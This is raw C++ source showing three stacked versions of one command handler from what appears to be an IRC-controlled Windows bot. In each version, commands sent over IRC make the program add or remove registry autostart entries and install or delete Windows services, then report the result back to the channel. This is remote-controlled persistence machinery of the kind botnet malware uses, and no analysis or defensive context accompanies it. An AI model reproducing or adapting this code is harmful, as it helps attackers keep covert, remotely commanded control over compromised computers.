bool CInstaller::HandleCommand(CMessage *pMsg) { #ifdef WIN32 if(!pMsg->sCmd.Compare("inst.asadd")) { CString sValue=pMsg->sChatString.Token(1, " ", true); CString sFile=pMsg->sChatString.Token(2, " ", true); if(RegStartAdd(sValue, sFile)) g_pMainCtrl->m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), "Added registry autostart value \"%s\" as \"%s\".", sValue.CStr(), sFile.CStr()); return true; } else if(!pMsg->sCmd.Compare("inst.asdel")) { CString sValue=pMsg->sChatString.Token(1, " ", true); if(RegStartDel(sValue)) g_pMainCtrl->m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), "Deleted registry autostart value \"%s\".", sValue.CStr()); return true; } else if(!pMsg->sCmd.Compare("inst.svcadd")) { CString sService=pMsg->sChatString.Token(1, " ", true); CString sFile=pMsg->sChatString.Token(2, " ", true); CString sParams=pMsg->sChatString.Token(3, " ", true); if(ServiceAddInt(sService, sFile, sParams)) g_pMainCtrl->m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), "Added service with name \"%s\" as \"\"%s\" %s\".", sService.CStr(), sFile.CStr(), sParams.CStr()); return true; } else if(!pMsg->sCmd.Compare("inst.svcdel")) { CString sService=pMsg->sChatString.Token(1, " ", true); if(ServiceDel(sService)) g_pMainCtrl->m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), "Deleted service with name \"%s\".", sService.CStr()); return true; } #endif // WIN32 return false; }
bool CInstaller::HandleCommand(CMessage *pMsg) { #ifdef WIN32 if(!pMsg->sCmd.Compare(m_cmdAsAdd.szName)) { CString sValue=pMsg->sChatString.Token(1, " ", true); CString sFile=pMsg->sChatString.Token(2, " ", true); if(RegStartAdd(sValue, sFile)) pMsg->pReply->DoReplyF(pMsg, "Added registry autostart value \"%s\" as \"%s\".", sValue.CStr(), sFile.CStr()); return true; } else if(!pMsg->sCmd.Compare(m_cmdAsDel.szName)) { CString sValue=pMsg->sChatString.Token(1, " ", true); if(RegStartDel(sValue)) pMsg->pReply->DoReplyF(pMsg, "Deleted registry autostart value \"%s\".", sValue.CStr()); return true; } else if(!pMsg->sCmd.Compare(m_cmdSvcAdd.szName)) { CString sService=pMsg->sChatString.Token(1, " ", true); CString sFile=pMsg->sChatString.Token(2, " ", true); CString sParams=pMsg->sChatString.Token(3, " ", true); if(ServiceAddInt(sService, sFile, sParams)) pMsg->pReply->DoReplyF(pMsg, "Added service with name \"%s\" as \"\"%s\" %s\".", sService.CStr(), sFile.CStr(), sParams.CStr()); return true; } else if(!pMsg->sCmd.Compare(m_cmdSvcDel.szName)) { CString sService=pMsg->sChatString.Token(1, " ", true); if(ServiceDel(sService)) pMsg->pReply->DoReplyF(pMsg, "Deleted service with name \"%s\".", sService.CStr()); return true; } #endif // WIN32 return false; }
bool CInstaller::HandleCommand(CMessage *pMsg) { #ifdef WIN32 if(!pMsg->sCmd.Compare(m_cmdAsAdd.sName.Str())) { CString sValue=pMsg->sChatString.Token(1, " ", true); CString sFile=pMsg->sChatString.Token(2, " ", true); if(RegStartAdd(sValue, sFile)) g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), "reg(add) \"%s\" as \"%s\".", sValue.CStr(), sFile.CStr()); return true; } else if(!pMsg->sCmd.Compare(m_cmdAsDel.sName.Str())) { CString sValue=pMsg->sChatString.Token(1, " ", true); if(RegStartDel(sValue)) g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), "reg(del) \"%s\".", sValue.CStr()); return true; } else if(!pMsg->sCmd.Compare(m_cmdSvcAdd.sName.Str())) { CString sService=pMsg->sChatString.Token(1, " ", true); CString sFile=pMsg->sChatString.Token(2, " ", true); CString sParams=pMsg->sChatString.Token(3, " ", true); if(ServiceAddInt(sService, sFile, sParams)) g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), "serv(add) \"%s\" as \"\"%s\" %s\".", sService.CStr(), sFile.CStr(), sParams.CStr()); return true; } else if(!pMsg->sCmd.Compare(m_cmdSvcDel.sName.Str())) { CString sService=pMsg->sChatString.Token(1, " ", true); if(ServiceDel(sService)) g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), "serv(del) \"%s\".", sService.CStr()); return true; } #endif // WIN32 return false; }